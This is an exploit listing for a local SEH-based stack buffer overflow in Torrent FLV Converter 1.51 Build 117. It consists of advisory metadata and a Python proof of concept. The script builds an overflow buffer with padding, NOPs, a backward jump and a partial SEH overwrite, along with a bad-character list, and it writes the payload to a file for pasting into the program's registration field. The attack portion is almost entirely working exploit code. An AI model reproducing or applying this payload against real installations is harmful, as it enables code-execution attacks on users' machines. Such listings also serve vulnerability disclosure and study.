Torrent FLV Converter 1.51 Build 117 Stack Overflow

2020.01.19
Credit: Antonio
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-119

# Exploit Title: Torrent FLV Converter 1.51 Build 117 - Stack Oveflow (SEH partial overwrite) # Date: 2020-01-16 # Exploit Author: antonio # Vendor Homepage: http://www.torrentrockyou.com/ # Software Link: http://www.torrentrockyou.com/download/trflvconverter.exe # Version: 1.51 Build 117 # Tested on: Windows 7 SP1 32-bit # Copy paste the contents of poc.txt into the # Registration Code input field. #!/usr/bin/python nseh_offset = 4500 total = 5000 # badchars # -------- # 0x00, 0x0a, 0x0d, 0x80 # 0xf0-x0ff, 0xe0-0x0ef, 0x70-0x7a # 0x61-0x6f, 0x9a, 0x9c, 0x9e poc = "" poc += "A"*(nseh_offset - 53) poc += "\x90"*53 poc += "\x7d\xcb\x90\x90" # jump backwards to NOPs: jge via SF = OF poc += "\x7f\xb3\x45" # nseh pop pop ret: 3-byte partial overwrite file = open("poc_seh.txt","w") file.write(poc) file.close()


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